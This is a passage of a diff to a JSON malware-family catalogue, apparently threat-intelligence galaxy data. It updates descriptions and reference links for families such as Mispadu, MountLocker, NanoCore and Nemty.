"https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/" ], "synonyms": [], @@ -32310,10 +34089,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu", + "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/", "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/", "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces", - "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU" + "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU", + "https://blog.scilabs.mx/cyber-threat-profile-malteiro/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces" ], "synonyms": [ "URSA" @@ -32323,6 +34104,20 @@ "uuid": "ffc9ffcc-24f4-4e60-ab02-a75b007359fa", "value": "Mispadu" }, + { + "description": "Mandiant associates this with UNC4191, this malware decrypts and runs DARKDEW.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1e6bc052-73de-453d-ba6c-658c82fe21d4", + "value": "MISTCLOAK" + }, { "description": "", "meta": { @@ -32373,15 +34168,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "74bd8c09-73d5-4ad8-ab1f-e94a4853c936", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6363cc2f-08f1-47a0-adbf-5cf19ea89ffd", "value": "MM Core" }, @@ -32411,7 +34197,7 @@ "value": "Mocton" }, { - "description": "", + "description": "According to PCrisk, ModernLoader, also known as Avatar Bot and AvatarLoader, is a malicious program that has minimalistic loader and RAT (Remote Access Trojan) functionalities.\r\n\r\nLoader-type malware is designed to infect devices with additional malicious programs, while RATs enable remote access/control over infected machines. ModernLoader is capable of executing basic commands and injecting malicious modules into systems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader", @@ -32443,9 +34229,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe", - "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/", "https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data", - "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data" + "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data", + "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/" ], "synonyms": [], "type": [] @@ -32500,10 +34286,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker", - "https://breakingmalware.com/malware/moker-part-2-capabilities/", - "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/", + "http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network", "https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/", - "http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network" + "https://breakingmalware.com/malware/moker-part-2-capabilities/", + "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/" ], "synonyms": [], "type": [] @@ -32530,8 +34316,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole", - "https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/", - "https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware" + "https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware", + "https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/" ], "synonyms": [], "type": [] @@ -32557,11 +34343,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "http://www.clearskysec.com/iec/", "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", - "https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east" + "https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east", + "http://www.clearskysec.com/iec/" ], "synonyms": [], "type": [] @@ -32574,9 +34360,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", - "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/" + "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", + "https://asec.ahnlab.com/en/37526/" ], "synonyms": [ "CoinMiner" @@ -32586,6 +34374,19 @@ "uuid": "c57a4168-cd09-4611-a665-bbcede80f42b", "value": "Monero Miner" }, + { + "description": "A new ransomware gang hitting companies in worldwide firstly spotted by Zscaler.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage", + "https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07dff193-2fad-4de6-83ad-046c6b95be46", + "value": "Money Message" + }, { "description": "", "meta": { @@ -32596,15 +34397,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "aa3aa21f-bc4e-4fb6-acd2-f4b6de482dfe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e0627961-fc28-4b7d-bb44-f937defa052a", "value": "mongall" }, @@ -32628,8 +34420,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", "https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html", "https://habr.com/ru/amp/post/668154/" ], @@ -32649,15 +34441,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "76ec1827-68a1-488f-9899-2b788ea8db64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8465177f-16c8-47fc-a4c8-f4c0409fe460", "value": "MoonWind" }, @@ -32666,12 +34449,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent", - "https://twitter.com/Timele9527/status/1272776776335233024", "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://twitter.com/Timele9527/status/1272776776335233024", "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], @@ -32705,13 +34488,26 @@ "uuid": "9de41613-7762-4a88-8e9a-4e621a127f32", "value": "Morphine" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat", + "https://blog.talosintelligence.com/new-mortalkombat-ransomware-and-laplas-clipper-malware-threats/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ff3b11e4-3450-4db5-a2ed-5c45cd875330", + "value": "MortalKombat" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto", - "https://www.f-secure.com/weblog/archives/00002227.html", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A", + "https://www.f-secure.com/weblog/archives/00002227.html", "http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html" ], "synonyms": [], @@ -32751,12 +34547,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", "https://www.recordedfuture.com/turla-apt-infrastructure/", "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", - "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" ], "synonyms": [], "type": [] @@ -32765,34 +34563,42 @@ "value": "Mosquito" }, { - "description": "", + "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", - "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", - "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", - "https://securityscorecard.pathfactory.com/research/quantum-ransomware", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", - "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", - "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", - "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates" + "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", + "https://community.riskiq.com/article/47766fbd", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://securityscorecard.pathfactory.com/research/quantum-ransomware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html" ], "synonyms": [ + "DagonLocker", + "MountLocker", "QuantumLocker" ], "type": [] @@ -32817,8 +34623,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md", - "https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html" + "https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md" ], "synonyms": [], "type": [] @@ -32842,6 +34648,21 @@ "uuid": "2363dc9f-822a-4581-8d5f-1fc436e70621", "value": "MPKBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang", + "https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/" + ], + "synonyms": [ + "QMAGENT" + ], + "type": [] + }, + "uuid": "aed28126-b8ab-4ab5-a2c6-89898fe689c9", + "value": "MQsTTang" + }, { "description": "Ransomware.", "meta": { @@ -32927,10 +34748,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], "type": [] @@ -32972,11 +34793,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.malware-traffic-analysis.net/2018/12/19/index.html", "https://www.giac.org/paper/gcih/568/mydoom-dom-anlysis-mydoom-virus/106069", - "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "http://ivanlef0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf", - "https://www.malware-traffic-analysis.net/2018/12/19/index.html" + "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503" ], "synonyms": [ "Mimail", @@ -32992,12 +34813,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", + "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", "https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", - "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" + "https://blog.talosintelligence.com/2020/07/valak-emerges.html" ], "synonyms": [], "type": [] @@ -33012,9 +34833,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot", "http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html", "https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/", + "https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet", "https://blogs.akamai.com/sitr/2021/01/detecting-mylobot-unseen-dga-based-malware-using-deep-learning.html", - "https://github.com/360netlab/DGA/issues/36", "https://blog.centurylink.com/mylobot-continues-global-infections/", + "https://github.com/360netlab/DGA/issues/36", "http://www.freebuf.com/column/153424.html" ], "synonyms": [ @@ -33059,10 +34881,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.n40", - "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/", - "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector", "http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html", - "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware" + "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/", + "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware", + "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector" ], "synonyms": [], "type": [] @@ -33087,11 +34909,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b", - "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf", - "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/" + "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b" ], "synonyms": [ "Cyruslish", @@ -33138,55 +34960,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0", - "https://community.riskiq.com/article/ade260c6", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://goggleheadedhacker.com/blog/post/11", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/", - "https://malwareindepth.com/defeating-nanocore-and-cypherit/", - "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore", - "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", - "https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52", - "https://intel471.com/blog/privateloader-malware", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://goggleheadedhacker.com/blog/post/11", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://community.riskiq.com/article/24759ad2", - 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"https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", - "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/", "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", - "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://www.fortinet.com/blog/threat-research/nemty-ransomware-early-stage-threat.html", + "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", "http://www.secureworks.com/research/threat-profiles/gold-mansard", - "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", - "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + "https://www.sentinelone.com/labs/karma-ransomware-an-emerging-threat-with-a-hint-of-nemty-pedigree/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/nemty-ransomware-learning-by-doing/", + "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b", + "https://securelist.com/evolution-of-jsworm-ransomware/102428/", + "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", + "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/" ], "synonyms": [], "type": [] @@ -33472,13 +35309,13 @@ "value": "Nerbian RAT" }, { - "description": "Neshta is a 